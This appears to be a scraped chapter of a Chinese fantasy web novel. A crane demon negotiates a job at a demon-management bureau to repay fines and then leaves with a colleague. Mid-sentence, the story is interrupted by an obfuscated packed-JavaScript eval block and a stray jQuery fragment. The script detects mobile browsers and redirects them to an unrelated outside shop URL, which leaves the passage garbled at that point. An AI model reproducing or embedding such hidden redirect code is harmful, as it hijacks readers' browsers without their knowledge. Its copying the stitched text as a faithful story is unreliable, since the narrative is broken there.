孔陶单手撑脸,笑眯眯:“李局发现你的战斗力很强,正好他手底还缺人手,你很合适,有兴趣吗?”
符叶沉默,还真是从未设想的道路。
她一时间竟难以说有兴趣还是没兴趣,横烟山的山神庙再破旧,也是她在这方天地唯一的容身之处,是她的家,她从未做过离开家的假设。
然而变化就是如此猝不及防。
正如回头路无法走,家也难再回,她对此了然于怀。今后的日子,注定要漂泊于人间,等待生命的最后时刻。
只是去李局手下做事...
“客观来说,加入妖管局是你目前最好的选择。”孔陶拽过计算器,在清脆的归零声后噼啪计算,将结果说给符叶听,“成为妖管局的员工,每个月的基础工资是5000块,如果你全部用来还罚款,只需要还87个月。”
以年计,只需要7年零3个月。
“再加上你的原身是丹顶鹤,一级保护动物,那么鉴于保护等级,妖管局每月会给你发放800块的妖怪生活补助。用工资还罚款,用800块补助生活,省省还是可以维持的。”
符叶水波般的长发轻柔搭在背,拥着修长美丽的脖颈,神色晦暗不明。沉默是抵触的反应,孔陶见状,用手指拨弄颈边的珍珠项链,再次敲起计算器。
“你还有另一种选择,很摆烂的选择,那就是坐牢。”
“正如我说的,以你现在的情况,想在人间以不违法的方式赚到钱,非常困难,所以你也可以选择坐牢。”
“每月800块补助发下来,300块交伙食费,剩余500块用来还罚款...那么你需要坐牢865个月,也就是72年左右。”
失去自由72年,或为妖管局效力7年,想必只要是精神正常的妖怪,都会选择留在妖管局工作。
符叶嗓子干涩,当初被拘在横烟山做山神,是迫不得已。如今她曾期待的自由以怪异的方式到来,还未来得及体验,就面临另一桩迫不得已。
她不由自主想起符越的话,那就是宿命已然定好,并不容人置喙。
符叶嗓音发哑:“听说妖管局的饭菜很难吃,看来坐牢不是好选择。”
“那我们达成共识啦?”
“只是...我战斗力不强,留在妖管局工作恐怕也派不上用场。”这话说得属实委婉,若不是妖力干涸不便与人说,她甚至想直白托出,现在根本没有战斗力。
面对擅长精神控制并不擅拳打脚踢的师泠,她们仍打得有来有回,这样的状态想必不符合李局关于“打手”的期待。
孔陶转转无名指上的戒指,细细戒指嵌着一圈细碎钻石,繁星中央拥着一颗珍珠,泛着粉的珍珠色泽油润。
她微微一笑:“这你不必担心,李局选你有他的用意,你定能胜任。”
人类以年龄来界定工作与否,妖怪则以妖力状态来判断适不适合继续工作。而妖怪的寿命漫长,待机时间久,所以妖管局的工作机会千载难逢,有空缺的话,大家定是要争破头的。
令孔陶些许意外的是,符叶的职位并不是补空缺,而是在事故处理科已经有五个职员的前提条件下,又新增一个名额。
李局以人力不足为由申请符叶加入,几乎是报告到达妖管局局长海藻办公桌的当天,申请就被海藻通过,甚至没有多问一句符叶是谁,整套流程一帆风顺,顺利得令人惊奇。
所以谈话间符叶犹豫之时,孔陶差点以为自己会搞砸符叶入职,连忙将威逼利诱端上桌。
大众印象中的丹顶鹤素来是冷淡高傲的物种,眼前的妖怪也不例外,她薄唇轻抿,冷淡音色如弦月,清清亮亮:“事故处理科是做什么的?”
“嗯...通俗来说,就是处理露馅的妖怪。”
这样说确实很通俗易懂,符叶自己就是被处理的露馅妖怪。既然债务的还款方式已谈妥,未来又要共事,孔陶干脆将禁锢着符叶手腕的皮带解开,以示友好。
当然,拆锁扣的时候,孔陶全程将精美折扇夹在胳膊肘,寸步不离身。
“事故处理科是个挺好的去处,毕竟是副局长亲自坐镇的科室,等于直接变成领导的心腹。”话虽这么说,孔陶的语气里却没有一丝艳羡,语调平板仅是在陈述事实。
“看你没有其他的疑问,我就走下一个流程啦?”
“需要你提供一下信息,给你在妖管局建档。妖事科的人会根据这些信息给你申请证件和银行卡,根据证件到手的时间,每隔20年更换一次就好。”
孔陶翻出一张信息登记表,摁油性笔的同时又补充:“你要确定好使用的名字,再想换要20年后,等证件到期,名字可换可不换,全凭自己的心意。”
最后,孔陶声情并茂地向符叶介绍了“下山妖怪一对一帮扶计划”。
由妖管局局长海藻提出并设立,为帮助下山妖怪快速适应,极大减少妖怪对人类社会产生排斥感进而引发犯罪的概率,可谓是21世纪最明智的妖管局举措。
具体内容为:每当有妖怪下山,妖管局内部的工作人员即可进行书面申请,在对方时长为一个月的人类社会适应期,成为帮助人员,包括但不限于与新下山的妖怪同吃同住,对各种事项进行讲解等细致关怀。
“令人欣喜的是,已经有三个妖怪申请成为你的帮助人员。”
孔陶面带欣慰,将三张纸平铺在符叶面前,示意符叶从中选择一个妖怪即可,选择权在她自己的手中。
第一位棕色齐肩发,笑容甜美,正是熟人小雀斑。
第二位的女生拥有一头茂密无比的长发,证件照根本装不下,她的头发太过蓬松,导致乍一眼瞧去,被勾勒出黑色阴影线似的。
第三张...喻观寒的字迹笔走龙蛇,煞是漂亮,符叶移开视线,躲避右上角粘贴的清俊脸庞。
“有什么好处吗?”
“你能得到一个月的免费吃住...”话说到这,瞧见符叶微微歪头,孔陶意识到她并不是问自己能得到什么好处,而是眼前的三个妖怪帮助她能得到什么好处。
孔陶轻快笑起来。
“当然有甜头啦,每帮助一个妖怪,基础工资可以提八十块。”
单看不显,长远计很是优渥,累计十年便是多得九千六百块。更别提帮助妖怪的人数并没设置上限,只要对方指定你,你就能得到加薪的机会,基础工资逐步上提,积少成多。
经济不富裕的妖管局员工,譬如英雨,譬如温浊玉,都是常年做申请的人员。
孔陶感慨:“我倒是第一次在申请人员里见到喻观寒呢。”
符叶将喻观寒的申请表推远些,首先排除,细看另外两张,小雀斑的名字叫英雨,头发茂密的女孩叫温浊玉。
前者拔了她的尾羽,后者压根没见过,指骨修长的手指悬停在两张信息表上方,举棋不定。就在手掌向第二张信息表落下之际,孔陶的手机屏幕骤然亮起。
符叶似有所感,望了过去。
“孔主任,有个事情想麻烦你...你能让符叶看一下我信息表的备注吗?或者你直接读给她听也可以,务必让她知道。”
*
妖管局的办公楼是座矮矮胖胖的四层粉色小楼,监押室并不在办公楼,它的入口被设置在办公楼后身的小院里。
阳光洒满小院,红砖路缝隙长出嫩绿杂草,白色油漆划分出的车位紧凑。
院子角落,盖着一座并不起眼的玻璃阳光房,瞧着也就能容纳一桌人打麻将,殊不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724325|144930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地下别有洞天。
地下一层关押的妖怪犯罪较轻,流动性很强,到了地下二层,被关押的妖怪无不犯下十恶不赦的罪行,无法放任他们出入人类社会,只得长久押在地底。
于是符叶走出玻璃房,经由后院的铁门进入妖管局一楼大厅时,便瞧见了这样的场景。
穹顶高耸,由银白色钢材拥簇而起,如根根肋骨,搭建出宽敞的妖管局大厅。
大理石拼接的地面整洁,无靠背的棕色皮面沙发整齐放置,以中央过道为界,左右排列,给三三两两聚集的妖怪们提供休息之处。
除了门边的保安室,只有通往二楼的楼梯边,还有一个房间。
它高大的铁质房门恰好对着妖管局大门,东西对称,铝合金标牌上书“妖事科”。
妖事科面朝外的玻璃窗并未封死,最下方留有巴掌宽的缝隙,窗下嵌着块边缘切割整齐的大理石,供两人伏案写字绰绰有余。此时大理石台面上,正有个三角牌摆在上面,恰好堵住玻璃缝隙。
时近正午,妖管局大厅正吵吵嚷嚷。
保安熊三身高近两米,眼睛不大,眼尾上挑,相比娇妹蜜色的皮肤,他的肤色更深浓。此刻他的白衬衫扎进裤腰带,皮带上还挂着一连串的钥匙,在他的虎背熊腰衬托下,叮叮当当的钥匙串反而像装饰的小铃铛。
“再说一遍啊,别在这喊!”
狼牙棒指向的方向短暂安静几秒,待他转身,那妖怪再次嚷起来,熊三无奈地翻个白眼,深吸气转身:“闹也没用,我们中午也得吃饭哪!你着急为什么不早点来?”
锋利尖刺就在脸颊边,被呵斥的妖怪气息弱几分,小声嘟囔:“谁知道排这么长队啊,我票都白买了,现在退票扣20%手续费呢,我找谁说理去。”
瞟到熊三还在瞪他,狼牙棒下一秒就要砸进他脸里的模样,他扭过头去:“哎呀不说啦...叨咕叨咕也不行,真凶。”
符叶收回视线,跟在喻观寒身后穿过窸窸窣窣的人群。
走出妖管局大门,迈下十几层台阶,喻观寒顺手拍拍石狮子,示意符叶往右边的小路拐:“走这边,我记得有家店的海鲜面挺好吃的。”
粉红色的拖鞋顿住:“你说会把秘密全都告诉我,不是骗我的吧?”
“当然不是。”喻观寒的头发被风轻柔托起一缕,他调整步调,保持与符叶间的适当距离,温柔声音缓缓流淌,“附近不好找车位,先随便吃点,然后带你买两身换洗衣服,再回来取车回家。”
他无比自然地说,回家。
符叶怔愣,不知道该作何反应才更恰当的时候,小路走到尽头,红砖路与柏油路分界清晰。脚踏在柏油路的一瞬,无形微风拂过符叶的额头。
沸水迸溅,新鲜空气骤然活跃似的,使人呼吸畅快起来,脑袋清明。
他们站着的柏油小路被身边纯白建筑物的阴影覆盖,路口卖烤冷面的小摊前围着两三个年轻人,隐约还能听见他们对摊主说“不要洋葱”。
与符叶擦肩而过时,有人好奇地转头瞧几乎称得上狼狈的符叶。她的衣襟上,黄褐色泥水早已结块,一副要掉不掉的模样,再加上颜色诡异的毛绒拖鞋,怎么看怎么不像正常人。
出于礼貌,年轻人将目光移走,随后僵住:“阿姨,我说了不要洋葱!”
符叶将呼吸放缓,忍不住揉眼。一定是她的眼睛出了问题,不然她怎么会看见眼熟的公交车呢?
锈迹斑驳的公交车仅剩骨架,停靠在路边,紧紧挨着烤冷面小摊,摊位上的淡淡水汽从车窗飘进去,公交兴奋地“叮咚”一声。
“你也想吃?”察觉符叶步速变慢,喻观寒好奇。
符叶眨眨眼,幽幽问:“你看不见摊位后面的东西吗?”